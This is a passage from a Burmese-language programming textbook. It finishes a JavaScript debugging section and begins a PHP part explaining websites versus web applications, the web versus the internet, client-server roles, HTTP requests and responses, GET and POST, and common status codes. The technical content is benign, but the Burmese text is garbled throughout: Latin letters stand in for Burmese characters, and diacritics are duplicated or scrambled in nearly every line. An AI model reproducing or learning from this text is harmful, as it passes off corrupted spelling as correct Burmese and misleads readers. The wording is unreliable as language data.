တဲ့နည်းgoစ်ပါတယ်။  စီနီယာအဆင့်  ပရုိင်္ဂရမ်မာကြေတွကိုယ်တိုင်  ဒီနည်းသံုးတဲ့သူကြေတွကို  ဟာသလုပ်ပြပီး
ကြေနာက်eကကြေပမယ့် သူတိုက့ိုယ်တိုင် ဒီနည်းကို လက်မလွှတ်နိုင်eကပါyူး။ 

Debug လု််ပoုိ့ ထည့်ထားတဲ့  console.log() အပါအဝင် console Method ကြေတွကို  Debug လုပ်
ပြပီးကြေနာက် gပန်goုတ်oုိက့ြေတာ့ မကြေမ့ပါနဲ။့ စနစ်မကျyူးဆိုတာ ဒါကိုကြေgပာတာပါ။ ကိုယ့်yာသာ Manual ထည့်
ပြပီးစမ်းထားမိကြေတာ့၊ ပြပီးတဲ့အခါမှာလည်း ကိုယ့်yာသာပဲ  Manual  gပန်ထုတ်ကြေပးရမှာပါ။ မထုတ်မိရင် အ့ဲဒီ
လုိ စမ်းထားတဲ့ Log ကြေတွက ကုဒ်ကို Run လုိက်တိုင်း Console မှာ အပြမဲတမ်း လာကြေပါ်ကြေနမှာပါ။

တစ်ကယ့်ပကြေရာင်္ဂျက်ကြကီးကြေတွမှာကြေတာ့  ပုိပြပီးစနစ်ကျတဲ့  Debugging  Tool  ကြေတွကို  သုံးရမှာgoစ်ကြေပမယ့်၊
ကြေလာကြေလာဆယ် ကြေလ့လာဆဲအဆင့်မှာကြေတာ့ ဒီနည်းနဲတ့င် အဆင်ကြေgပကြေနပါပြပီ။ 

ဒီကြေလာက်ဆိုရင်  JavaScript  နဲ့ပက်သက်ပြပီး  အကြေတာ်ကြေလး  gပည့်စံုသွားပါပြပီ။  ကြေနာက်တစ်ပုိင်းမှာ  PHP
အကြေeကာင်း  ကြေလ့လာရင်း၊  နည်းနည်းပုိအဆင့်gမင့်လာပြပီgoစ်တဲ့  Programming  သကြေyာသyာဝကြေတွကို
ဆက်လက်goည့်စွက် ကြေလ့လာသွားeကပါမယ်။



အပိုင်း (၄)
PHP
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အခန်း (၂၄) – Website vs. Web Application

PHP  ဟာ  လက်ရှိ  Web  Development  ကဏ္ဍမှာ  လူသံုးအများဆံုး  Server-Side  Programming
Language goစ်ပါတယ်။ Facebook, Wikipedia, Vimeo, Slack စသည်goင့် အသုံးgပုသူ သန်းကြေပါင်းများစွာ
ရှတိဲ့  ဝy်ဆိုက်ကြေတွကအစ PHP ကို အသံုးgပု oန်တီးထားeကgခင်း goစ်ပါတယ်။ ဒီကြေနရာမှာ ကြေရှ့မဆက်ခင်
Website နဲ ့Web Application ဆိုတဲ့အသုံးအနှုန်းနှစ်ခုကို အရင်ကြကိုပြပီး ရှင်းထားချင်ပါတယ်။

Chrome, Firefox, Edge စတဲ့ Web Browser ကြေတွမှာ လိပ်စာ URL ရုိက်ထည့်ပြပီး အသုံးgပုရတဲ့ ဝy်ဆိုက်
ကြေတွကို  နှစ်ပုိင်းခွဲလုိ့  ရပါတယ်။  ပံုကြေသ  အဓိပ္ပါယ်oွင့်ဆိုချက်  မရှိကြေပမယ့်  အများအားgoင့်  သတင်း
အချက်အလက်  ကြေoာ်gပယံုနဲ့  ကြေoာင်goည့်ယုံ  သက်သက်ကြေလာက်ဆိုရင်  Website  လုိ့ကြေခါ်eကပြပီး၊  အသုံးချ
လုပ်ကြေဆာင်ချက်ကြေတွ ပါဝင်တယ်ဆိုရင်ကြေတာ့  Web Application  လုိ့  ကြေခါ်eကပါတယ်။  Facebook  မှာ ပုိစ့်
ကြေတတွင်လုိရ့တယ်။ Messenger နဲ့ စာပုိ့ စကားကြေgပာလုိရ့တယ်။ Vimeo မှာ ဗီွဒီယုိကြေတွ တင်လုိရ့တယ်။ ဒီ
လုိမျ ို း အသုံးချ လုပ်ကြေဆာင်ချက်ကြေတွ ပါဝင်လာပြပီဆိုတဲ့အခါ Web Application လုိ ့ကြေခါ်eကတာပါ။ 

ဒီစာအုပ်မှာ Website နဲ့ Web Application ဆိုတဲ့အသုံးအနှုန်းနှစ်မျ ို းကို တစ်ကြေနရာမှာတစ်မျ ို း မသံုးကြေတာ့ပါ
yူး။  ဗမာလုိ  ဝy်ဆိုက်လုိ့  ကျစ်ကျစ်လစ်လစ်  တစ်မျ ို းထဲပဲ  သံုးနှုန်းကြေoာ်gပသွားမှာပါ။  ဝy်ဆိုက်  ဆိုတဲ့
အသုံးအနှုန်းကိုကြေတွ့ရင်  Website  ကြေတွကြေရာ၊  Web  Application  ကြေတွကြေရာ  အားလုံးကို  ဆိုလုိတယ်  လုိ့
မှတ်ယူ oတ်ရှုကြေပးပါ။

ဝy်ဆိုက်ကြေတွ oန်တီးတည်ကြေဆာက်တဲ့ လုပ်ငန်းကို  Web Development လုိ့ ကြေခါ်eကတာပါ။ ပရုိင်္ဂရမ်းမင်း
yာသာခွဲ  တစ်ခုလုိ့  ဆိုနိုင်ပါတယ်။  Desktop  Solution  Development,  System  Software
Development, Mobile App Development စသည်goင့် တgခား ပရုိင်္ဂရမ်းမင်း yာသာခွဲကြေတွ ရှိeကပါကြေသး
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တယ်။ ဒါကြေတွအားလုံးကို  စုစည်းပြပီး  Software Development  ဆိုတဲ့  ပင်မကြေခါင်းစဉ်  တစ်ခုထဲကြေအာက်မှာ
လည်း ထည့်သွင်း  သတ်မှတ်နိုင်ပါကြေသးတယ်။ ဒီအကြေခါ်အကြေဝါ် သတ်မှတ်ချက်ကြေတွကို  စံချနိ်စံညွှန်းတစ်ခုနဲ့
အဓိပ္ပါယ်oွင့်ဆို သတ်မှတ်ထားတာမျ ို း မဟုတ်လုိ ့သင့်ကြေတာ်သလုိ အမျ ို းမျ ို းကြေခါ်eကတဲ့ သကြေyာပါ။

PHP ဟာ General Purpose Programming Language ကြေခါ် Software Development လုပ်ငန်းမျ ို းစံုမှာ
သုံးမယ်ဆိုရင်  သံုးလုိရ့တဲ့  Language  တစ်ခုgoစ်ပါတယ်။  ဒါကြေပမယ့်  ထူးgခားချက်ကကြေတာ့၊  စတင်တီထွင်
ကတည်းက PHP ကို  Web Development လုပ်ငန်းအတွက် ရည်ရွယ်တီထွင်ခဲ့တာပဲ goစ်ပါတယ်။ တgခား
Programming Language ကြေတွကိုလည်း Web Development လုပ်ငန်းအတွက် သံုးလုိရ့ကြေပမယ့် အများစု
က PHP  လုိ Web Development အတွက်ဆိုပြပီး ဦးစားကြေပး တီထွင်ထားeကတာမျ ို း မဟုတ်ပါyူး။ 

ဒါကြေeကာင့်  Programming Language  ကြေတွ အများကြကီး ရိှတဲ့ထဲမှာ အကြေကာင်းဆံုးလုိ့  ကြေgပာလုိ့  မရကြေပမယ့်၊
Web Development   လုပ်ငန်းနဲ့ အသင့်ကြေတာ်ဆံုး   Language   လုိ့ကြေတာ့ ကြေgပာလုိ့ ရနိုင်ပါတယ်။ PHP ရဲ့ မူလ
အစအမည်က Personal Home Page goစ်ပါတယ်။ အခုကြေတာ့ PHP: Hypertext Processor လုိ့ ကြေခါ်eကပါ
တယ်။ Recursive Acronym ကြေခါ် အတိုကြေကာက်အမည်ကို အမည်အgပည့်အစံုမှာ gပန်ထည့်သုံးတဲ့ ကြေရးနည်း
ကို  သုံးထားတပါ။  ဒီကြေရးနည်းနဲ့  သံုးeကတဲ့တgခား  နည်းပညာကြေတွ  အကြေgမာက်အများ  ရှိeကပါကြေသးတယ်။
ဥပမာ GNU's Not Unix (GNU), WINE Is Not an Emulator (WINE) စသည်goင့်ပါ။

PHP  ဟာ  Server-side  Programming Language  တစ်ခုgoစ်ပါတယ်။  Client-side  Language  goစ်တဲ့
JavaScript နဲ့ သကြေyာသyာဝ မတူပါyူး။ သကြေyာသyာဝ မတူကြေပမယ့် ကြေရးထုံးကြေတွကကြေတာ့ ကြေတာ်ကြေတာ်
ကြေလး ဆင်တူလုိ့ ကြေရှ့ အပုိင်းမှာ ကြေoာ်gပခဲ့တဲ့  JavaScript သင်ခန်းစာကြေတွကို ကြေလ့လာတတ်ကျွမ်းထားသူဟာ
PHP ကို အလွယ်တစ်ကူ ဆက်လက်ကြေလ့လာ အသုံးချနိုင်မှာ goစ်ပါတယ်။ 

Server-side Programming ဆိုတာyာလဲဆိုတာကိုကြေတာ့ ကြေနာက်တစ်ခန်းမှာ ဆက်eကည့်eကပါမယ်။
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PHP အကြေeကာင်း မကြေgပာခင် World Wide Web နည်းပညာအကြေeကာင်း အရင်ကြေgပာoုိ့ လုိအပ်ပါတယ်။ အရင်
က World Wide Web နည်းပညာကို အတိုကြေကာက် WWW လုိ့ ကြေခါ်eကကြေပမယ့် အခုကြေတာ့ မကြေခါ်eကကြေတာ့ပါ
yူး။  WWW  လုိ့  အတိုကြေကာက် အသံထွက်ရတာက  World Wide Web  လုိ့  အgပည့်အစံု  အသံထွက်ရတာ
ထက်ကြေတာင် ပုိရှည်ကြေနလုိပ့ါ။ အခကုြေတာ့ အတိုကြေကာက် Web လုိပဲ့ ကြေခါ်eကပါကြေတာ့တယ်။

Web ဆိုတာ အင်တာနက်ကို အသံုးgပုပြပီး သတင်းအချက်အလက်ကြေတွ goန့်ကြေဝ/ရယူနိုင်တဲ့ နည်းပညာတစ်ခု
goစ်ပါတယ်။ ဒီကြေနရာမှာ  Web နဲ့  Internet  ဆိုတဲ့ နည်းပညာနှစ်ခုကို မကြေရာoုိ့ လုိပါတယ်။ အင်တာနက်ဆို
တာ ကမ္ဘာအရပ်ရပ်မှာ ရှိတဲ့ ကွန်ပျူတာ Network  များ အgပန်အလှန် ချနိ်ဆက်ထားတဲ့  Network  များရဲ့
Network ကွန်ယက်ကြကီး goစ်ပါတယ်။ ဒီအင်တာနက်ကွန်ယက်ကို အသံုးgပုပြပီး သတင်းအချက်အလက် goန့်
ကြေဝ/ရယူနိုင်တဲ့  နည်းပညာကြေပါင်း  များစွာရှိပါတယ်။  ဥပမာ  -  အီးကြေမးလ်ဟာ အင်တာနက်ကို  အသံုးgပုပြပီး
စာပုိ့/စာယူ လုပ်နိုင်တဲ့ နည်းပညာတစ်ခုပါ။  FTP ကြေခါ် အင်တာနက်ကို အသံုးgပုပြပီး oုိင်ကြေတွ ကြေပးပုိ/့ရယူနိုင်
တဲ့ နည်းပညာရှိပါတယ်။ Web ဆိုတာ အ့ဲဒီလုိ နည်းပညာကြေပါင်းများစွာထဲက တစ်ခုအပါအဝင်ပါ။

ကကြေနအ့ချနိ်မှာ  Web Browser  ကိုoွင့်ပြပီး  ဝy်ဆိုက်ကြေတွ  eကည့်လုိရ့သလုိ၊  အီးကြေမးလ်လည်း ပုိ့လုိ့  ရကြေနပါ
တယ်။ oုိင်ကြေတွလည်း ပုိလုိ့ရ့ကြေနပါတယ်။ စာကြေတွ၊ ရုပ်သံကြေတွနဲလ့ည်း ဆက်သွယ်လုိရ့ကြေနပါတယ်။ ဒါကြေeကာင့်
Web = Internet  လုိ့  ထင်ချင်စရာ goစ်ကြေနပါတယ်။ မဟုတ်ပါyူး။  Web    ဆိုတာ    Internet    ကိုအသုံးgပုပြပီး  
သတင်းအချက်အလက်ကြေတွ goန့်ကြေဝ  /  ရယူနိုင်တဲ့  နည်းပညာကြေပါင်း  များစွာထဲကတစ်ခု   သာgoစ်တယ်ဆိုတာ
ကို ရှင်းရှင်းလင်းလင်း သိgမင်ထားoုိ ့လုိအပ်ပါတယ်။
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Web နည်းပညာမှာ အပုိင်း (၃) ပုိင်း ပါဝင်ပါတယ်။ Client, Server နဲ့ Protocol တိုပ့ါ။

• Client ဆိုတာ လုိချင်တဲ့ အချက်အလက်ကို ဆက်သွယ်ကြေတာင်းယူမယ့်သူ ပါ။
• Server ဆိုတာ ဆက်သွယ်ကြေတာင်းယူလာတဲ့အခါ တံုg့ပန်ကြေပးပုိမ့ယ့်သူ ပါ။
• Protocol ကကြေတာ့ Client နဲ့ Server တို့ အgပန်အလှန်ဆက်သွယ်oုိ ့အသုံးgပုeကမယ့် eကားခံ ဆက်

သွယ်ကြေရးနည်းပညာ ပါ။

Client yက်ပုိင်းမှာ (၃) မျ ို း ထပ်ခွဲပြပီး ကြေgပာချင်ပါကြေသးတယ်။ User, Device နဲ ့User Agent တိုပ့ါ။

• User ကကြေတာ့ အချက်အလက်ကြေတွကို ရယူလုိသူ သင်ကိုယ်တိုင် ပါ။
• Device ကကြေတာ့ သင်အသုံးgပုမယ့် ကွန်ပျူတာ၊ oုံး၊ Tablet စတဲ့ စက်ပစ္စည်း ပါ။
• User  Agent  ကကြေတာ့  သင့်ကိုယ်စား  အချက်အလက်ကြေတွကို  အမှန်တစ်ကယ်  သွားယူကြေပးမယ့်

ကြေဆာ့o်ဝဲ ပါ။  အများအားgoင့်  Web Browser  ကို  ကြေgပာတာပါ။  Web Browser  မဟုတ်တဲ့  User
Agent ကြေတွလည်း ရှိပါကြေသးတယ်။

Server yက်gခမ်းမှာလည်း (၂) မျ ို းခွဲလုိ့ ရနိုင်ပါတယ်။ Server ကွန်ပျူတာ နဲ့ Server ကြေဆာ့o်ဝဲ ပါ။ Server
ကွန်ပျူတာ တစ်ခုမှာ Server ကြေဆာ့o်ဝဲ အမျ ို းမျ ို း ရိှကြေနနိုင်ပါတယ်။ ဥပမာ Server တစ်ခုထဲကပဲ ဝy်ဆိုက်
ကို  ကြေတာင်းယူလာရင်  gပန်ကြေပးနိုင်သလုိ၊  oုိင်ကို  ကြေတာင်းယူလာရင်လည်း  gပန်ကြေပးနိုင်တာမျ ို းပါ။  အ့ဲဒီလုိ
အလုပ်လုပ်နိုင်oုိဆ့ိုရင် Server ကွန်ပျူတာ မှာ Web Server ကြေဆာ့o်ဝဲနဲ့ FTP Server ကြေဆာ့o်ဝဲတို့ ရှိကြေနoုိ့လုိ
ပါတယ်။

ဆက်သွယ်ကြေရး နည်းပညာမှာလည်း အမျ ို းမျ ို းရှိနိုင်ကြေပမယ့် အ့ဲဒီကြေလာက်ထိ ချဲ့ရင်ကြေတာ့ ရှုပ်ကုန်မှာ စိုးရပါ
တယ်။ ဒါကြေတွကို ကြေgပာgပကြေနတယ်ဆိုတာ အလုပ်လုပ်သွားပံုကို မျက်စိထဲမှာ gမင်eကည့်နိုင်oုိ့ ကြေgပာကြေနတာပါ။
ဒီလုိ  gမင်eကည့်နိုင်မှ  နားလည်မှာ  မုိလုိ့ပ့ါ။  ဒါကြေeကာင့်  gမင်eကည့်ရလွယ်ကြေအာင်  ဆက်သွယ်ကြေရးနည်းပညာ
ကကြေတာ့ တစ်ခုထဲကိုပဲ သံုးeကတယ် လုိ့ ကြေလာကြေလာဆယ် မှတ်ထားကြေပးပါ။  HTTP  လုိ့ အတိုကြေကာက် ကြေခါ်
eကတဲ့  Hyptertext Transfer Protocol  ကိုသုံးeကတာပါ။  Client  နဲ့  Server  တိုက့  HTTP  ကိုအသုံးgပုပြပီး
ဆက်သွယ်အလုပ်လုပ်eကပုံကို ကြေနာက်တစ်မျက်နှာမှာ gပထားတဲ့ ပုံကြေလးနဲ ့ကြေလ့လာeကည့်ပါ။
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eကည့်ရလွယ်ကြေအာင် အလုပ်လုပ်တဲ့အစီအစဉ်အတိုင်း 1, 2, 3 နံပါတ်စဉ်တပ်gပထားပါတယ်။

• ပထမဦးဆံုး  User က User Agent goစ်တဲ့  Browser ထဲမှာ လုိချင်တဲ့ အချက်အလက်တည်ကြေနရာ
လိပ်စာ   URL   ကို ရုိက်ထည့်   ရပါတယ်။

• Browser က URL ကြေပါ်မူတည်ပြပီး သင့်ကြေတာ်တဲ့ HTTP Request ကို တည်ကြေဆာက်ပါတယ်။ HTTP
Request  မှာ  Header  နဲ့  Body  ဆိုပြပီး နှစ်ပုိင်းပါပါတယ်။ နမူနာပံုရဲ့ နံပါတ်  (၁)  မှာ နှစ်ပုိင်းခွဲ  gပ
ထားတာကို သတိgပုပါ။ ပြပီးတဲ့အခါ Request   ကို ကြေပးပုိ့   ပါတယ်။ 

• Server  က Request  လက်ခံရရှိတဲ့အခါ လုပ်စရာရှိတဲ့အလုပ်ကို  လုပ်ပါတယ်။ နမူနာပံုအရ  User
လုိချင်တာက  home.php  goစ်ပါတယ်။  home.php  ထဲမှာ  HTML  ကုဒ်ကြေတွ၊  PHP  ကုဒ်ကြေတွ၊
JavaScript ကုဒ်ကြေတွ ကြေပါင်းစပ် ပါဝင်ကြေနပါတယ်။ <?= 1 + 2 ?> ဆိုတဲ့လုိင်းက PHP ကုဒ်ပါ။
Server က PHP   ကုဒ်ကြေတွကို    Run   လုိက်ပါတယ်။ ဒီလုိ  Run လုိက်တဲ့အတွက် 1 + 2 ရဲ့ ရလဒ် 3
ထွက်ကြေပါ်လာပြပီး ရလဒ်မှာ 3 ပဲ ပါဝင်ကြေတာ့တာကို ကြေတွ့ရမှာgoစ်ပါတယ်။ PHP ကုဒ်ကြေတွ ရလဒ်ထဲ
မှာ မကျနက်ြေတာ့ပါyူး။  အလုပ်လုပ်ပြပီးသွားပါပြပီ။  ဒီလုိသကြေyာမျ ို းနဲ့    Server    yက်gခမ်းမှာ အလုပ်  
လုပ်လုိ ့  PHP   ကို   Server-side   နည်းပညာလုိ့ကြေခါ်တာပါ  ။

• Server  က HTTP Response  ကိုတည်ကြေဆာက်ပါတယ်။  HTTP Response  မှာလည်း  Header  နဲ့
Body ဆိုပြပီး နှစ်ပုိင်းရှိပါတယ်။ Body ကြေနရာမှာ ကြေစာကြေစာကအလုပ်လုိ့ ရလာတဲ့ ရလဒ်ရှိကြေနတာကို
ကြေတွ့ ရနိုင်ပါတယ်။ ပြပီးတဲ့အခါ Response   ကို gပန်လည်ကြေပးပုိ့   ပါတယ်။

• User Agent က Response ကိုလက်ခံရရှိတဲ့အခါ User eကည့်လုိရ့ကြေအာင်gပ ကြေပးပါတယ်။
• ဆက်သွယ်မှုတစ်ခု ပြပီးဆံုးသွားပြပီgoစ်ပါတယ်။

Request/Response Headers
Client Request  မှာ  Header  နဲ့  Body  ဆိုပြပီး နှစ်ပုိင်းရှိတယ်လုိ့ကြေgပာထားပါတယ်။  Client  က Server  ကို
ဆက်သွယ်တဲ့အခါ အမှန်တစ်ကယ် ကြေပးပုိရ့မယ့် အချက်အလက်အgပင် yယ်လုိပုံစံ လုိချင်တာလဲဆိုကြေတာ့
အချက်အလက်ကြေတွကိုပါ ထည့်သွင်းကြေပးပုိရ့ပါတယ်။ ဒါကြေeကာင့်  Header  နဲ့  Body ဆိုပြပီး နှစ်ပုိင်း ရိှကြေနတာ
ပါ။ Header   က yယ်လုိပုံစံလုိချင်တာလဲဆိုတဲ့ လုိလားချက်ကြေတွ   goစ်ပြပီးကြေတာ့ Body   ကကြေတာ့ ကိုယ့်yက်  
က ကြေပးပုိလုိ့တဲ့ အချက်အလက်ကြေတွ goစ်ပါတယ်။
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အလားတူပဲ  Server  က  အကြေeကာင်းgပန်တဲ့  Response  မှာလည်း  Header  နဲ့  Body  နှစ်ပုိင်းရှိပါတယ်။
Header  က yယ်လုိပံုစံ  gပန်လည်ကြေပးပုိပ့ါတဲ့  ဆိုတဲ့  သတင်းပုိခ့ျက်ကြေတွgoစ်ပြပီးကြေတာ့  Body  က အမှန်တစ်
ကယ် ကြေပးပုိတ့ဲ့ အချက်အလက်ကြေတွgoစ်ပါတယ်။

ကြေပးထားတဲ့နမူနာပုံမှာ ကြေလ့လာeကည့်လုိက်ရင်  Request Header  မှာ  GET /home.php HTTP/1.1
ဆိုတဲ့ အချက်တစ်ချက် ပါဝင်တာကို ကြေတွ့ရနိုင်ပါတယ်။ GET ကို Request Method လုိ့ကြေခါ်ပါတယ်။ ဆက်
သွယ်မှု gပုလုပ်ရgခင်း အကြေeကာင်းရင်းကို ဒီ  Request Method နဲ့ ထည့်သွင်းအသိကြေပးပြပီး ဆက်သွယ်ရတာ
ပါ။  GET  ရဲ့အဓိပ္ပါယ်က  အချက်အလက်ကြေတွ ရယူလုိတယ် ဆိုတဲ့  အဓိပ္ပါယ်goစ်ပါတယ်။ တgခား  Request
Method  ကြေတွရှိပါကြေသးတယ်။  POST,  PUT,  PATCH,  DELETE  စသည်goင့်ပါ။  ဒီကြေနရာမှာကြေတာ့  GET  နဲ့
POST နှစ်မျ ို းမှတ်ထားရင် လံုကြေလာက်ပါတယ်။ ကျန်တဲ့  Request Method ကြေတွအကြေeကာင်းကို  API အပုိင်း
ကြေရာက်တဲ့အခါ ဆက်လက်ကြေလ့လာနိုင်ပါတယ်။ GET Request Method ကို အချက်အလက်ကြေတွ ရယူလုိတဲ့
အခါ အသုံးgပုပြပီး POST Request Method   ကိုကြေတာ့ အချက်အလက်ကြေတွ ကြေgပာင်းလဲကြေစလုိတဲ့အခါ အသံုးgပု  
ပါတယ်။ ကြေgပာင်းလဲတယ်ဆိုတာ အသစ်တိုးသွားတာလည်း goစ်နိုင်တယ်၊ ရိှပြပီးသားကို gပင်လုိက်တာလည်း
goစ်နိုင်တယ်၊ oျက်လုိက်တာမျ ို းလည်း goစ်နိုင်ပါတယ်။

Request Method  ရဲ့ကြေနာက်မှာ  URI  ကြေခါ်လုိချင်တဲ့  Resource  ရဲ့  လိပ်စာလုိက်ရပါတယ်။  Resource  ဆို
တာ HTML Document  လည်း goစ်နိုင်တယ်၊  Image  oုိင်လည်းgoစ်နိုင်တယ်၊  JavaScript  ကုဒ်ကြေတွလည်း
goစ်နိုင်တယ်၊  PDF  oုိင်ကြေတွလည်းgoစ်နိုင်တယ်၊  အမျ ို းမျ ို းgoစ်နိုင်ပါတယ်။  yာကိုလုိချင်သည်  goစ်ကြေစ
ကြေတာင်းယူလုိရ့ပါတယ်။  Server  ကြေပးနိုင်ရင်gပန်ကြေပးမှာgoစ်ပြပီးကြေတာ့  မကြေပးနိုင်ရင်  မကြေပးနိုင်တဲ့အကြေeကာင်း
gပန်ကြေgပာပါလိမ့်မယ်။

ကြေနာက်ဆံုးက HTTP/1.1 ကကြေတာ့ အသုံးgပုလုိတဲ့ HTTP Version goစ်ပါတယ်။ Client နဲ့ Server အသုံးgပု
လုိတဲ့  Version  တူoုိလုိ့ပါတယ်။ စကတည်းက  Client  က သူအသံုးgပုလုိတဲ့  Version  ကိုတစ်ခါထဲ ထည့်
ကြေgပာလုိက်တဲ့သကြေyာပါ။

ဒီသကြေyာသyာဝကို သိထားoုိ့ပဲလုိပါတယ်။ ကိုယ်တိုင်အကြေသးစိတ် လုိက်စီမံoုိ့ကြေတာ့ ဒီအဆင့်မှာ မလုိအပ်
ကြေသးပါyူး။ အသုံးgပုကြေနတဲ့ Browser က လုိအပ်တဲ့ Request မှန်ကြေအာင် သူ့yာသာ eကည့်စီစဉ်ကြေပးသွားပါ
လိမ့်မယ်။ ဒါကို လက်ကြေတွ့eကည့်ချင်ရင် အခုလုိeကည့်လုိရ့ပါတယ်။
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နမူနာပုံအရ  Chrome Browser  မှာ  DevTools  ကိုoွင့်ထားပြပီး  URL Bar  မှာ  google.com  လုိရုိ့က်ထည့်
လုိက်တာပါ။  DevTools  ရဲ့  Network Section  မှာ eကည့်လုိက်ရင် ရုိက်ထည့်လုိက်တဲ့ လိပ်စာကြေပါ်မူတည်
ပြပီး  လုိအပ်တဲ့  ဆက်သွယ်မှုကြေတွကို  Browser  က တန်းစီပြပီး  gပုလုပ်ကြေပးသွားတာကို  ကြေတွ့gမင်ရမှာ  goစ်ပါ
တယ်။ ဒီကြေနရာမှာ လုိချင်တာကကြေတာ့ Google Home Page တစ်ခုထဲကို လုိချင်တာပါ။ ဒါကြေပမယ့် Google
Home Page ကို ရယူပြပီး ကြေoာ်gပeကည့်တဲ့အခါ Logo ကြေတွ CSS ကုဒ်oုိင်ကြေတွ Font oုိင်ကြေတွ Script oုိင်ကြေတွ
လည်း လုိအပ်ကြေနကြေသးတာကို  Browser  က သိသွားတဲ့အတွက် လုိအပ်တဲ့ ဆက်စပ်အချက်အလက်ကြေတွကို
တစ်ခုပြပီးတစ်ခု ဆက်လက်ရယူပြပီး gပည့်စံုကြေအာင်အလုပ်လုပ်ကြေပးသွားလုိ့ အခုလုိကြေတွ့gမင်ရတာပါ။

ကြေပးပုိသွ့ားတဲ့  Request အကြေသးစိတ်ကို သိချင်ရင် နမူနာပံုရဲ့ နံပါတ်  (၃) gပထားတဲ့ ကြေနရာက သက်ဆိုင်ရာ
အချက်အလက်ကို  နှိပ်eကည့်လုိရ့ပါတယ်။  ဒီလုိနှိပ်eကည့်လုိက်တဲ့အခါ  နံပါတ်  (၄)  gပထားတဲ့ကြေနရာမှာ
Browser က ကြေပးပုိ့သွားတဲ့  Request Header ပါ အချက်အလက်များနဲ့ gပန်လည်လက်ခံရရှိတဲ့  Response
Header ပါ အချက်အလက်များကို အကြေသးစိတ် ကြေတွ့gမင်ရမှာgoစ်ပါတယ်။

နမူနာအရ Request Header မှာပါဝင်တဲ့ Request Method က GET goစ်ပြပီး User-Agent လည်း ပါဝင်တာ
ကို  ကြေတွ့gမင်ရမှာ goစ်ပါတယ်။ သတိgပုစရာအကြေနနဲ့  Accept-Encoding  ဆိုတဲ့  Header  နဲအ့တူ  Browser
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က နားလည် အလုပ်လုပ်နိုင်တဲ့  Encoding Format  ကြေတွကိုလည်း တန်းစီထည့်ကြေပးထားတာကို ကြေတွ့ရမှာ
ပါ။ နမူနာမှာ ကြေတွ့gမင်ရတဲ့  gzip  တို့  deflate  တိုဆ့ိုတာ  Compression  နည်းပညာကြေတွပါ။  Browser  က
Google Home Page  ကိုလုိချင်တယ်၊  gzip (သုိ့မဟုတ်) deflate  နဲ့  ချံု့ပြပီးမှ ကြေပးချင်ရင်ကြေပးလုိရ့တယ်လုိ့
ကြေgပာလုိက်တာပါ။ ဒီကြေတာ့  Server  ကသာ ကြေgပာထားတဲ့အတိုင်း  ရလဒ်ကိုချံု့ပြပီးမှ ကြေပးလုိက်ရင်  Size  ကြေသး
သွားလုိ့ ဆက်သွယ်ရတာ ပုိgမန်သွားမှာပဲ goစ်ပါတယ်။ ဒါဟာ ဝy်ဆိုက်တစ်ခုရဲ့ အလုပ်လုပ်ပံု gမန်ဆန်ကြေစ
oုိအ့တွက် အကြေရးပါတဲ့  သကြေyာသyာဝတစ်ခုပဲ goစ်ပါတယ်။ ဒီလုိပဲ  Header  မှာပါဝင်တဲ့  အချက်အလက်
တစ်ခခုျင်းစီမှာ သူ့အဓိပ္ပါယ်နဲ့သူ ရှိeကပါတယ်။

Server  yက်ကgပန်လည်ကြေပးပုိတ့ဲ့  Response  နဲပ့က်သက်တဲ့  အကြေသးစိတ်ကိုလည်း  အ့ဲဒီကြေနရာမှာလည်း
ဆက်ပြပီးကြေတာ့ ကြေလ့လာeကည့်လုိ ့ရနိုင်ပါတယ်။

နမူနာအရ  Server Response  မှာ  HTTP/1.1 301 Moved Permanently  လုိ့  ပါဝင်တာကို  ကြေတွ့gမင်ရမှာ
goစ်ပါတယ်။ HTTP/1.1 ကကြေတာ့ အလုပ်လုပ်ကြေနတဲ့ HTTP Version goစ်ပြပီး 301 Moved Permanently ကို
Status  Code  လုိ့  ကြေခါ်ပါတယ်။  Server  က  ဆက်သွယ်မှုအကြေgခအကြေနကို  ဒီလုိ  Status  Code  ကြေတွနဲ့
အကြေeကာင်းgပန်ပါတယ်။  301 Moved Permanently  ကို သူ့ကြေအာက်က Location Header  နဲ့ တဲွပြပီးကြေတာ့
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eကည့်သင့်ပါတယ်။ ကျွနက်ြေတာ်တို့ ရုိက်ထည့်လုိက်တာက google.com ပါ။ Server က gပန်ကြေgပာကြေနတာက
google.com ဆိုတာ မရှိကြေတာ့yူး (Move Permanently ကြေနရာကြေရ£့လုိက်ပြပီ)။ www.google.com goစ်သွား
ပြပီလုိ့  ကြေgပာကြေနတာပါ။  ဒီအချက်အလက်ကို  လက်ခံရရှိတဲ့အခါ  Browser  က  အလုိအကြေလျှာက်
www.google.com  ကို  ဆက်လက်ရယူ  အလုပ်လုပ်ကြေပးသွားလုိ့  ရလဒ်အမှန်ကို  ကြေတွ့ gမင်ရgခင်း  goစ်ပါ
တယ်။  တစ်ကယ်ကြေတာ့ ကျွန်ကြေတာ်တိုရုိ့က်ထည့်လုိက်တဲ့  လိပ်စာက နည်းနည်း  မှားကြေနတာပါ။  မှားကြေနကြေပ
မယ့် မှန်တဲ့ကြေနရာကို သိကြေတာ့ gပဿနာမရှိကြေတာ့ပါyူး။ 

ဒီကြေနရာမှာ လိပ်စာက လံုးဝမှားကြေနတာမျ ို းဆို ရင်ကြေတာ့ 404 Not Found ဆိုတဲ့ Status Code ကို gပန်လည်
ရရှိမှာ goစ်ပါတယ်။ Status Code ကြေတွမှာ ကြေနာက်ထပ် အကြေတွ့ရများနိုင်တာကြေတွကကြေတာ့ 200 OK နဲ့  500
Internal  Server  Error  တိုပဲ့goစ်ပါတယ်။  အစစအရာရာအဆင်ကြေgပတဲ့  ဆက်သွယ်မှုဆိုရင်  200  OK  ကို
gပန်လည်ရရှိမှာgoစ်ပြပီး  Server  မှာ  Error  တစ်ခခုုရှိကြေနလုိ့ အဆင်မကြေgပရင်ကြေတာ့  500 Internal Server  ကို
gပန်လည်ရရှိမှာ goစ်ပါတယ်။ gပန်လည်ရရှိတဲ့  Status Code ကြေတွကို ဒီအဆင့်မှာ ကိုယ်တိုင်စီမံoုိ့  မလုိအပ်
ကြေသးပါyူး။  Browser  က  Status  Code  ကြေပါ်မူတည်ပြပီး  သင့်ကြေတာ်သလုိ  အလုပ်လုပ်ကြေပးသွားမှာ  goစ်ပါ
တယ်။ API ကြေတyွာကြေတွ oန်တီးတဲ့အဆင့်ကို ကြေရာက်လာကြေတာ့မှာ ဒီ Status Code ကြေတွကို ကိုယ်တိုင် စီမံရ
မှာပါ။ ဒါကြေeကာင့် ကျန်အသုံးများတဲ့  Status Code  ကြေတွကိုကြေတာ့ ကြေနာက်ဆံုးပုိင်း  API  အကြေeကာင်း ကြေရာက်
